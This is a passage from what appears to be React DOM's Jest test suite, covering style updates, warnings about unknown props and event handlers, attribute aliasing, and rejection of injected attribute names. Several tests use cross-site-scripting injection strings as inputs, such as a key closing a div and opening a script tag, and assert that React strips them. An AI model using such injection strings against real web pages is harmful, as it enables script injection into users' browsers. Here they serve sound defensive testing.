style={styles} />);\n      });\n      expect(stubStyle.display).toEqual('none');\n      expect(stubStyle.fontFamily).toEqual('Arial');\n      expect(stubStyle.lineHeight).toEqual('1.2');\n\n      await act(() => {\n        root.render(<div style={undefined} />);\n      });\n      expect(stubStyle.display).toBe('');\n      expect(stubStyle.fontFamily).toBe('');\n      expect(stubStyle.lineHeight).toBe('');\n    });\n\n    it('should throw when mutating style objects', async () => {\n      const style = {border: '1px solid black'};\n\n      class App extends React.Component {\n        state = {style: style};\n\n        render() {\n          return <div style={this.state.style}>asd</div>;\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<App />);\n      });\n\n      if (__DEV__) {\n        expect(() => (style.position = 'absolute')).toThrow();\n      }\n    });\n\n    it('should warn for unknown prop', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div foo={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `foo` on <div> tag. Either remove it ' +\n          'from the element, or pass a string or number value to keep ' +\n          'it in the DOM. For details, see https://react.dev/link/attribute-behavior ' +\n          '\\n    in div (at **)',\n      ]);\n    });\n\n    it('should group multiple unknown prop warnings together', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div foo={() => {}} baz={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid values for props `foo`, `baz` on <div> tag. Either remove ' +\n          'them from the element, or pass a string or number value to keep ' +\n          'them in the DOM. For details, see https://react.dev/link/attribute-behavior ' +\n          '\\n    in div (at **)',\n      ]);\n    });\n\n    it('should warn for onDblClick prop', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div onDblClick={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid event handler property `onDblClick`. Did you mean `onDoubleClick`?\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should warn for unknown string event handlers', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div onUnknown='alert(\"hack\")' />);\n      });\n      assertConsoleErrorDev([\n        'Unknown event handler property `onUnknown`. It will be ignored.\\n' +\n          '    in div (at **)',\n      ]);\n      expect(container.firstChild.hasAttribute('onUnknown')).toBe(false);\n      expect(container.firstChild.onUnknown).toBe(undefined);\n      await act(() => {\n        root.render(<div onunknown='alert(\"hack\")' />);\n      });\n      assertConsoleErrorDev([\n        'Unknown event handler property `onunknown`. It will be ignored.\\n' +\n          '    in div (at **)',\n      ]);\n      expect(container.firstChild.hasAttribute('onunknown')).toBe(false);\n      expect(container.firstChild.onunknown).toBe(undefined);\n\n      await act(() => {\n        root.render(<div on-unknown='alert(\"hack\")' />);\n      });\n      assertConsoleErrorDev([\n        'Unknown event handler property `on-unknown`. It will be ignored.\\n' +\n          '    in div (at **)',\n      ]);\n      expect(container.firstChild.hasAttribute('on-unknown')).toBe(false);\n      expect(container.firstChild['on-unknown']).toBe(undefined);\n    });\n\n    it('should warn for unknown function event handlers', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div onUnknown={function () {}} />);\n      });\n      assertConsoleErrorDev([\n        'Unknown event handler property `onUnknown`. It will be ignored.\\n' +\n          '    in div (at **)',\n      ]);\n      expect(container.firstChild.hasAttribute('onUnknown')).toBe(false);\n      expect(container.firstChild.onUnknown).toBe(undefined);\n      await act(() => {\n        root.render(<div onunknown={function () {}} />);\n      });\n      assertConsoleErrorDev([\n        'Unknown event handler property `onunknown`. It will be ignored.\\n' +\n          '    in div (at **)',\n      ]);\n      expect(container.firstChild.hasAttribute('onunknown')).toBe(false);\n      expect(container.firstChild.onunknown).toBe(undefined);\n      await act(() => {\n        root.render(<div on-unknown={function () {}} />);\n      });\n      assertConsoleErrorDev([\n        'Unknown event handler property `on-unknown`. It will be ignored.\\n' +\n          '    in div (at **)',\n      ]);\n      expect(container.firstChild.hasAttribute('on-unknown')).toBe(false);\n      expect(container.firstChild['on-unknown']).toBe(undefined);\n    });\n\n    it('should warn for badly cased React attributes', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div CHILDREN=\"5\" />);\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `CHILDREN`. Did you mean `children`?\\n' +\n          '    in div (at **)',\n      ]);\n      expect(container.firstChild.getAttribute('CHILDREN')).toBe('5');\n    });\n\n    it('should not warn for \"0\" as a unitless style value', async () => {\n      class Component extends React.Component {\n        render() {\n          return <div style={{margin: '0'}} />;\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Component />);\n      });\n    });\n\n    it('should warn nicely about NaN in style', async () => {\n      const style = {fontSize: NaN};\n      const div = document.createElement('div');\n      const root = ReactDOMClient.createRoot(div);\n      await act(() => {\n        root.render(<span style={style} />);\n      });\n      assertConsoleErrorDev([\n        '`NaN` is an invalid value for the `fontSize` css style property.\\n' +\n          '    in span (at **)',\n      ]);\n      await act(() => {\n        root.render(<span style={style} />);\n      });\n    });\n\n    it('throws with Temporal-like objects as style values', async () => {\n      class TemporalLike {\n        valueOf() {\n          // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n          // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n          throw new TypeError('prod message');\n        }\n        toString() {\n          return '2020-01-01';\n        }\n      }\n      const style = {fontSize: new TemporalLike()};\n      const root = ReactDOMClient.createRoot(document.createElement('div'));\n      await expect(async () => {\n        await act(() => {\n          root.render(<span style={style} />);\n        });\n      }).rejects.toThrowError(new TypeError('prod message'));\n      assertConsoleErrorDev([\n        'The provided `fontSize` CSS property is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in span (at **)',\n        'The provided `fontSize` CSS property is an unsupported type TemporalLike.' +\n          ' This value must be coerced to a string before using it here.\\n' +\n          '    in span (at **)',\n      ]);\n    });\n\n    it('should update styles if initially null', async () => {\n      let styles = null;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n\n      const stubStyle = container.firstChild.style;\n\n      styles = {display: 'block'};\n\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n      expect(stubStyle.display).toEqual('block');\n    });\n\n    it('should update styles if updated to null multiple times', async () => {\n      let styles = null;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n\n      styles = {display: 'block'};\n      const stubStyle = container.firstChild.style;\n\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n      expect(stubStyle.display).toEqual('block');\n\n      await act(() => {\n        root.render(<div style={null} />);\n      });\n      expect(stubStyle.display).toEqual('');\n\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n      expect(stubStyle.display).toEqual('block');\n\n      await act(() => {\n        root.render(<div style={null} />);\n      });\n      expect(stubStyle.display).toEqual('');\n    });\n\n    it('should allow named slot projection on both web components and regular DOM elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <my-component>\n            <my-second-component slot=\"first\" />\n            <button slot=\"second\">Hello</button>\n          </my-component>,\n        );\n      });\n\n      const lightDOM = container.firstChild.childNodes;\n\n      expect(lightDOM[0].getAttribute('slot')).toBe('first');\n      expect(lightDOM[1].getAttribute('slot')).toBe('second');\n    });\n\n    it('should skip reserved props on web components', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <my-component\n            children={['foo']}\n            suppressContentEditableWarning={true}\n            suppressHydrationWarning={true}\n          />,\n        );\n      });\n      expect(container.firstChild.hasAttribute('children')).toBe(false);\n      expect(\n        container.firstChild.hasAttribute('suppressContentEditableWarning'),\n      ).toBe(false);\n      expect(\n        container.firstChild.hasAttribute('suppressHydrationWarning'),\n      ).toBe(false);\n\n      await act(() => {\n        root.render(\n          <my-component\n            children={['bar']}\n            suppressContentEditableWarning={false}\n            suppressHydrationWarning={false}\n          />,\n        );\n      });\n      expect(container.firstChild.hasAttribute('children')).toBe(false);\n      expect(\n        container.firstChild.hasAttribute('suppressContentEditableWarning'),\n      ).toBe(false);\n      expect(\n        container.firstChild.hasAttribute('suppressHydrationWarning'),\n      ).toBe(false);\n    });\n\n    it('should skip dangerouslySetInnerHTML on web components', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<my-component dangerouslySetInnerHTML={{__html: 'hi'}} />);\n      });\n      expect(container.firstChild.hasAttribute('dangerouslySetInnerHTML')).toBe(\n        false,\n      );\n\n      await act(() => {\n        root.render(<my-component dangerouslySetInnerHTML={{__html: 'bye'}} />);\n      });\n      expect(container.firstChild.hasAttribute('dangerouslySetInnerHTML')).toBe(\n        false,\n      );\n    });\n\n    it('should render null and undefined as empty but print other falsy values', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: 'textContent'}} />);\n      });\n      expect(container.textContent).toEqual('textContent');\n\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: 0}} />);\n      });\n      expect(container.textContent).toEqual('0');\n\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: false}} />);\n      });\n      expect(container.textContent).toEqual('false');\n\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: ''}} />);\n      });\n      expect(container.textContent).toEqual('');\n\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: null}} />);\n      });\n      expect(container.textContent).toEqual('');\n\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: undefined}} />);\n      });\n      expect(container.textContent).toEqual('');\n    });\n\n    it('should remove attributes', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<img height=\"17\" />);\n      });\n\n      expect(container.firstChild.hasAttribute('height')).toBe(true);\n      await act(() => {\n        root.render(<img />);\n      });\n      expect(container.firstChild.hasAttribute('height')).toBe(false);\n    });\n\n    it('should remove properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div className=\"monkey\" />);\n      });\n\n      expect(container.firstChild.className).toEqual('monkey');\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(container.firstChild.className).toEqual('');\n    });\n\n    it('should not set null/undefined attributes', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      // Initial render.\n      await act(() => {\n        root.render(<img src={null} data-foo={undefined} />);\n      });\n      const node = container.firstChild;\n      expect(node.hasAttribute('src')).toBe(false);\n      expect(node.hasAttribute('data-foo')).toBe(false);\n      // Update in one direction.\n      await act(() => {\n        root.render(<img src={undefined} data-foo={null} />);\n      });\n      expect(node.hasAttribute('src')).toBe(false);\n      expect(node.hasAttribute('data-foo')).toBe(false);\n      // Update in another direction.\n      await act(() => {\n        root.render(<img src={null} data-foo={undefined} />);\n      });\n      expect(node.hasAttribute('src')).toBe(false);\n      expect(node.hasAttribute('data-foo')).toBe(false);\n      // Removal.\n      await act(() => {\n        root.render(<img />);\n      });\n      expect(node.hasAttribute('src')).toBe(false);\n      expect(node.hasAttribute('data-foo')).toBe(false);\n      // Addition.\n      await act(() => {\n        root.render(<img src={undefined} data-foo={null} />);\n      });\n      expect(node.hasAttribute('src')).toBe(false);\n      expect(node.hasAttribute('data-foo')).toBe(false);\n    });\n\n    it('should not add an empty src attribute', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<img src=\"\" />);\n      });\n      assertConsoleErrorDev([\n        'An empty string (\"\") was passed to the src attribute. ' +\n          'This may cause the browser to download the whole page again over the network. ' +\n          'To fix this, either do not render the element at all ' +\n          'or pass null to src instead of an empty string.\\n' +\n          '    in img (at **)',\n      ]);\n      const node = container.firstChild;\n      expect(node.hasAttribute('src')).toBe(false);\n\n      await act(() => {\n        root.render(<img src=\"abc\" />);\n      });\n      expect(node.hasAttribute('src')).toBe(true);\n\n      await act(() => {\n        root.render(<img src=\"\" />);\n      });\n      assertConsoleErrorDev([\n        'An empty string (\"\") was passed to the src attribute. ' +\n          'This may cause the browser to download the whole page again over the network. ' +\n          'To fix this, either do not render the element at all ' +\n          'or pass null to src instead of an empty string.\\n' +\n          '    in img (at **)',\n      ]);\n      expect(node.hasAttribute('src')).toBe(false);\n    });\n\n    it('should not add an empty href attribute', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<link href=\"\" />);\n      });\n      assertConsoleErrorDev([\n        'An empty string (\"\") was passed to the href attribute. ' +\n          'To fix this, either do not render the element at all ' +\n          'or pass null to href instead of an empty string.\\n' +\n          '    in link (at **)',\n      ]);\n      const node = container.firstChild;\n      expect(node.hasAttribute('href')).toBe(false);\n\n      await act(() => {\n        root.render(<link href=\"abc\" />);\n      });\n      expect(node.hasAttribute('href')).toBe(true);\n\n      await act(() => {\n        root.render(<link href=\"\" />);\n      });\n      assertConsoleErrorDev([\n        'An empty string (\"\") was passed to the href attribute. ' +\n          'To fix this, either do not render the element at all ' +\n          'or pass null to href instead of an empty string.\\n' +\n          '    in link (at **)',\n      ]);\n      expect(node.hasAttribute('href')).toBe(false);\n    });\n\n    it('should allow an empty href attribute on anchors', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<a href=\"\" />);\n      });\n      const node = container.firstChild;\n      expect(node.getAttribute('href')).toBe('');\n    });\n\n    it('should allow an empty action attribute', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<form action=\"\" />);\n      });\n      const node = container.firstChild;\n      expect(node.getAttribute('action')).toBe('');\n\n      await act(() => {\n        root.render(<form action=\"abc\" />);\n      });\n      expect(node.hasAttribute('action')).toBe(true);\n\n      await act(() => {\n        root.render(<form action=\"\" />);\n      });\n      expect(node.getAttribute('action')).toBe('');\n    });\n\n    it('allows empty string of a formAction to override the default of a parent', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <form action=\"hello\">\n            <button formAction=\"\" />,\n          </form>,\n        );\n      });\n      const node = container.firstChild.firstChild;\n      expect(node.hasAttribute('formaction')).toBe(true);\n      expect(node.getAttribute('formaction')).toBe('');\n    });\n\n    it('should not filter attributes for custom elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <some-custom-element action=\"\" formAction=\"\" href=\"\" src=\"\" />,\n        );\n      });\n      const node = container.firstChild;\n      expect(node.hasAttribute('action')).toBe(true);\n      expect(node.hasAttribute('formAction')).toBe(true);\n      expect(node.hasAttribute('href')).toBe(true);\n      expect(node.hasAttribute('src')).toBe(true);\n    });\n\n    it('should apply React-specific aliases to HTML elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<form acceptCharset=\"foo\" />);\n      });\n      const node = container.firstChild;\n      // Test attribute initialization.\n      expect(node.getAttribute('accept-charset')).toBe('foo');\n      expect(node.hasAttribute('acceptCharset')).toBe(false);\n      // Test attribute update.\n      await act(() => {\n        root.render(<form acceptCharset=\"boo\" />);\n      });\n      expect(node.getAttribute('accept-charset')).toBe('boo');\n      expect(node.hasAttribute('acceptCharset')).toBe(false);\n      // Test attribute removal by setting to null.\n      await act(() => {\n        root.render(<form acceptCharset={null} />);\n      });\n      expect(node.hasAttribute('accept-charset')).toBe(false);\n      expect(node.hasAttribute('acceptCharset')).toBe(false);\n      // Restore.\n      await act(() => {\n        root.render(<form acceptCharset=\"foo\" />);\n      });\n      expect(node.getAttribute('accept-charset')).toBe('foo');\n      expect(node.hasAttribute('acceptCharset')).toBe(false);\n      // Test attribute removal by setting to undefined.\n      await act(() => {\n        root.render(<form acceptCharset={undefined} />);\n      });\n      expect(node.hasAttribute('accept-charset')).toBe(false);\n      expect(node.hasAttribute('acceptCharset')).toBe(false);\n      // Restore.\n      await act(() => {\n        root.render(<form acceptCharset=\"foo\" />);\n      });\n      expect(node.getAttribute('accept-charset')).toBe('foo');\n      expect(node.hasAttribute('acceptCharset')).toBe(false);\n      // Test attribute removal.\n      await act(() => {\n        root.render(<form />);\n      });\n      expect(node.hasAttribute('accept-charset')).toBe(false);\n      expect(node.hasAttribute('acceptCharset')).toBe(false);\n    });\n\n    it('should apply React-specific aliases to SVG elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<svg arabicForm=\"foo\" />);\n      });\n      const node = container.firstChild;\n      // Test attribute initialization.\n      expect(node.getAttribute('arabic-form')).toBe('foo');\n      expect(node.hasAttribute('arabicForm')).toBe(false);\n      // Test attribute update.\n      await act(() => {\n        root.render(<svg arabicForm=\"boo\" />);\n      });\n      expect(node.getAttribute('arabic-form')).toBe('boo');\n      expect(node.hasAttribute('arabicForm')).toBe(false);\n      // Test attribute removal by setting to null.\n      await act(() => {\n        root.render(<svg arabicForm={null} />);\n      });\n      expect(node.hasAttribute('arabic-form')).toBe(false);\n      expect(node.hasAttribute('arabicForm')).toBe(false);\n      // Restore.\n      await act(() => {\n        root.render(<svg arabicForm=\"foo\" />);\n      });\n      expect(node.getAttribute('arabic-form')).toBe('foo');\n      expect(node.hasAttribute('arabicForm')).toBe(false);\n      // Test attribute removal by setting to undefined.\n      await act(() => {\n        root.render(<svg arabicForm={undefined} />);\n      });\n      expect(node.hasAttribute('arabic-form')).toBe(false);\n      expect(node.hasAttribute('arabicForm')).toBe(false);\n      // Restore.\n      await act(() => {\n        root.render(<svg arabicForm=\"foo\" />);\n      });\n      expect(node.getAttribute('arabic-form')).toBe('foo');\n      expect(node.hasAttribute('arabicForm')).toBe(false);\n      // Test attribute removal.\n      await act(() => {\n        root.render(<svg />);\n      });\n      expect(node.hasAttribute('arabic-form')).toBe(false);\n      expect(node.hasAttribute('arabicForm')).toBe(false);\n    });\n\n    it('should properly update custom attributes on custom elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<some-custom-element foo=\"bar\" />);\n      });\n      expect(container.firstChild.getAttribute('foo')).toBe('bar');\n      await act(() => {\n        root.render(<some-custom-element bar=\"buzz\" />);\n      });\n      expect(container.firstChild.hasAttribute('foo')).toBe(false);\n      expect(container.firstChild.getAttribute('bar')).toBe('buzz');\n      const node = container.firstChild;\n      expect(node.hasAttribute('foo')).toBe(false);\n      expect(node.getAttribute('bar')).toBe('buzz');\n    });\n\n    it('should not apply React-specific aliases to custom elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<some-custom-element arabicForm=\"foo\" />);\n      });\n      const node = container.firstChild;\n      // Should not get transformed to arabic-form as SVG would be.\n      expect(node.getAttribute('arabicForm')).toBe('foo');\n      expect(node.hasAttribute('arabic-form')).toBe(false);\n      // Test attribute update.\n      await act(() => {\n        root.render(<some-custom-element arabicForm=\"boo\" />);\n      });\n      expect(node.getAttribute('arabicForm')).toBe('boo');\n      // Test attribute removal and addition.\n      await act(() => {\n        root.render(<some-custom-element acceptCharset=\"buzz\" />);\n      });\n      // Verify the previous attribute was removed.\n      expect(node.hasAttribute('arabicForm')).toBe(false);\n      // Should not get transformed to accept-charset as HTML would be.\n      expect(node.getAttribute('acceptCharset')).toBe('buzz');\n      expect(node.hasAttribute('accept-charset')).toBe(false);\n    });\n\n    it('should clear a single style prop when changing `style`', async () => {\n      let styles = {display: 'none', color: 'red'};\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n\n      const stubStyle = container.firstChild.style;\n\n      styles = {color: 'green'};\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n      expect(stubStyle.display).toEqual('');\n      expect(stubStyle.color).toEqual('green');\n    });\n\n    it('should reject attribute key injection attack on markup for regular DOM (SSR)', () => {\n      for (let i = 0; i < 3; i++) {\n        const element1 = React.createElement(\n          'div',\n          {'blah\" onclick=\"beevil\" noise=\"hi': 'selected'},\n          null,\n        );\n        const element2 = React.createElement(\n          'div',\n          {'></div><script>alert(\"hi\")</script>': 'selected'},\n          null,\n        );\n        const result1 = ReactDOMServer.renderToString(element1);\n        const result2 = ReactDOMServer.renderToString(element2);\n        expect(result1.toLowerCase()).not.toContain('onclick');\n        expect(result2.toLowerCase()).not.toContain('script');\n      }\n      assertConsoleErrorDev([\n        'Invalid attribute name: `blah\" onclick=\"beevil\" noise=\"hi`\\n' +\n          '    in div (at **)',\n        'Invalid attribute name: `></div><script>alert(\"hi\")</script>`\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should reject attribute key injection attack on markup for custom elements (SSR)', () => {\n      for (let i = 0; i < 3; i++) {\n        const element1 = React.createElement(\n          'x-foo-component',\n          {'blah\" onclick=\"beevil\" noise=\"hi': 'selected'},\n          null,\n        );\n        const element2 = React.createElement(\n          'x-foo-component',\n          {'></x-foo-component><script>alert(\"hi\")</script>': 'selected'},\n          null,\n        );\n        const result1 = ReactDOMServer.renderToString(element1);\n        const result2 = ReactDOMServer.renderToString(element2);\n        expect(result1.toLowerCase()).not.toContain('onclick');\n        expect(result2.toLowerCase()).not.toContain('script');\n      }\n      assertConsoleErrorDev([\n        'Invalid attribute name: `blah\" onclick=\"beevil\" noise=\"hi`\\n' +\n          '    in x-foo-component (at **)',\n        'Invalid attribute name: `></x-foo-component><script>alert(\"hi\")</script>`\\n' +\n          '    in x-foo-component (at **)',\n      ]);\n    });\n\n    it('should reject attribute key injection attack on mount for regular DOM', async () => {\n      for (let i = 0; i < 3; i++) {\n        const container = document.createElement('div');\n        let root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(\n            React.createElement(\n              'div',\n              {'blah\" onclick=\"beevil\" noise=\"hi': 'selected'},\n              null,\n            ),\n          );\n        });\n\n        expect(container.firstChild.attributes.length).toBe(0);\n        if (i === 0) {\n          assertConsoleErrorDev([\n            'Invalid attribute name: `blah\" onclick=\"beevil\" noise=\"hi`\\n' +\n              '    in div (at **)',\n          ]);\n        }\n        await act(() => {\n          root.unmount();\n        });\n        root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(\n            React.createElement(\n              'div',\n              {'></div><script>alert(\"hi\")</script>': 'selected'},\n              null,\n            ),\n          );\n        });\n        if (i === 0) {\n          assertConsoleErrorDev([\n            'Invalid attribute name: `></div><script>alert(\"hi\")</script>`\\n' +\n              '    in div (at **)',\n          ]);\n        }\n\n        expect(container.firstChild.attributes.length).toBe(0);\n      }\n    });\n\n    it('should reject attribute key injection attack on mount for custom elements', async () => {\n      for (let i = 0; i < 3; i++) {\n        const container = document.createElement('div');\n        let root = ReactDOMClient.createRoot(container);\n\n        await act(() => {\n          root.render(\n            React.createElement(\n              'x-foo-component',\n              {'blah\" onclick=\"beevil\" noise=\"hi': 'selected'},\n              null,\n            ),\n          );\n        });\n\n        if (i === 0) {\n          assertConsoleErrorDev([\n            'Invalid attribute name: `blah\" onclick=\"beevil\" noise=\"hi`\\n' +\n              '    in x-foo-component (at **)',\n          ]);\n        }\n        expect(container.firstChild.attributes.length).toBe(0);\n        await act(() => {\n          root.unmount();\n        });\n\n        root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(\n            React.createElement(\n              'x-foo-component',\n              {'></x-foo-component><script>alert(\"hi\")</script>': 'selected'},\n              null,\n            ),\n          );\n        });\n\n        if (i === 0) {\n          assertConsoleErrorDev([\n            'Invalid attribute name: `></x-foo-component><script>alert(\"hi\")</script>`\\n' +\n              '    in x-foo-component (at **)',\n          ]);\n        }\n        expect(container.firstChild.attributes.length).toBe(0);\n      }\n    });\n\n    it('should reject attribute key injection attack on update for regular DOM', async () => {\n      for (let i = 0; i < 3; i++) {\n        const container = document.createElement('div');\n        const beforeUpdate = React.createElement('div', {}, null);\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(beforeUpdate);\n        });\n        await act(() => {\n          root.render(\n            React.createElement(\n              'div',\n              {'blah\" onclick=\"beevil\" noise=\"hi': 'selected'},\n              null,\n            ),\n          );\n        });\n\n        if (i === 0) {\n          assertConsoleErrorDev([\n            'Invalid attribute name: `blah\" onclick=\"beevil\" noise=\"hi`\\n' +\n              '    in div (at **)',\n          ]);\n        }\n        expect(container.firstChild.attributes.length).toBe(0);\n        await act(() => {\n          root.render(\n            React.createElement(\n              'div',\n              {'></div><script>alert(\"hi\")</script>': 'selected'},\n              null,\n            ),\n          );\n        });\n        if (i === 0) {\n          assertConsoleErrorDev([\n            'Invalid attribute name: `></div><script>alert(\"hi\")</script>`\\n' +\n              '    in div (at **)',\n          ]);\n        }\n\n        expect(container.firstChild.attributes.length).toBe(0);\n      }\n    });\n\n    it('should reject attribute key injection attack on update for custom elements', async () => {\n      for (let i = 0; i < 3; i++) {\n        const container = document.createElement('div');\n        const beforeUpdate = React.createElement('x-foo-component', {}, null);\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(beforeUpdate);\n        });\n        await act(() => {\n          root.render(\n            React.createElement(\n              'x-foo-component',\n              {'blah\" onclick=\"beevil\" noise=\"hi': 'selected'},\n              null,\n            ),\n          );\n        });\n\n        if (i === 0) {\n          assertConsoleErrorDev([\n            'Invalid attribute name: `blah\" onclick=\"beevil\" noise=\"hi`\\n' +\n              '    in x-foo-component (at **)',\n          ]);\n        }\n        expect(container.firstChild.attributes.length).toBe(0);\n        await act(() => {\n          root.render(\n            React.createElement(\n              'x-foo-component',\n              {'></x-foo-component><script>alert(\"hi\")</script>': 'selected'},\n              null,\n            ),\n          );\n        });\n\n        if (i === 0) {\n          assertConsoleErrorDev([\n            'Invalid attribute name: `></x-foo-component><script>alert(\"hi\")</script>`\\n' +\n              '    in x-foo-component (at **)',\n          ]);\n        }\n        expect(container.firstChild.attributes.length).toBe(0);\n      }\n    });\n\n    it('should update arbitrary attributes for tags containing dashes', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      const beforeUpdate = React.createElement('x-foo-component', {}, null);\n      await act(() => {\n        root.render(beforeUpdate);\n      });\n\n      const afterUpdate = <x-foo-component myattr=\"myval\" />;\n      await act(() => {\n        root.render(afterUpdate);\n      });\n\n      expect(container.childNodes[0].getAttribute('myattr')).toBe('myval');\n    });\n\n    it('should clear all the styles when removing `style`', async () => {\n      const styles = {display: 'none', color: 'red'};\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n\n      const stubStyle = container.firstChild.style;\n\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(stubStyle.display).toEqual('');\n      expect(stubStyle.color).toEqual('');\n    });\n\n    it('should update styles when `style` changes from null to object', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const styles = {color: 'red'};\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n      const stubStyle = container.firstChild.style;\n      expect(stubStyle.color).toBe('red');\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(stubStyle.color).toBe('');\n      await act(() => {\n        root.render(<div style={styles} />);\n      });\n\n      expect(stubStyle.color).toBe('red');\n    });\n\n    it('should not reset innerHTML for when children is null', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div />);\n      });\n      container.firstChild.innerHTML = 'bonjour';\n      expect(container.firstChild.innerHTML).toEqual('bonjour');\n\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(container.firstChild.innerHTML).toEqual('bonjour');\n    });\n\n    it('should reset innerHTML when switching from a direct text child to an empty child', async () => {\n      const transitionToValues = [null, undefined, false];\n      // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n      for (const transitionToValue of transitionToValues) {\n        const container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(<div>bonjour</div>);\n        });\n        expect(container.firstChild.innerHTML).toEqual('bonjour');\n\n        await act(() => {\n          root.render(<div>{transitionToValue}</div>);\n        });\n        expect(container.firstChild.innerHTML).toEqual('');\n      }\n    });\n\n    it('should empty element when removing innerHTML', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: ':)'}} />);\n      });\n\n      expect(container.firstChild.innerHTML).toEqual(':)');\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(container.firstChild.innerHTML).toEqual('');\n    });\n\n    it('should transition from string content to innerHTML', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div>hello</div>);\n      });\n\n      expect(container.firstChild.innerHTML).toEqual('hello');\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: 'goodbye'}} />);\n      });\n      expect(container.firstChild.innerHTML).toEqual('goodbye');\n    });\n\n    it('should transition from innerHTML to string content', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: 'bonjour'}} 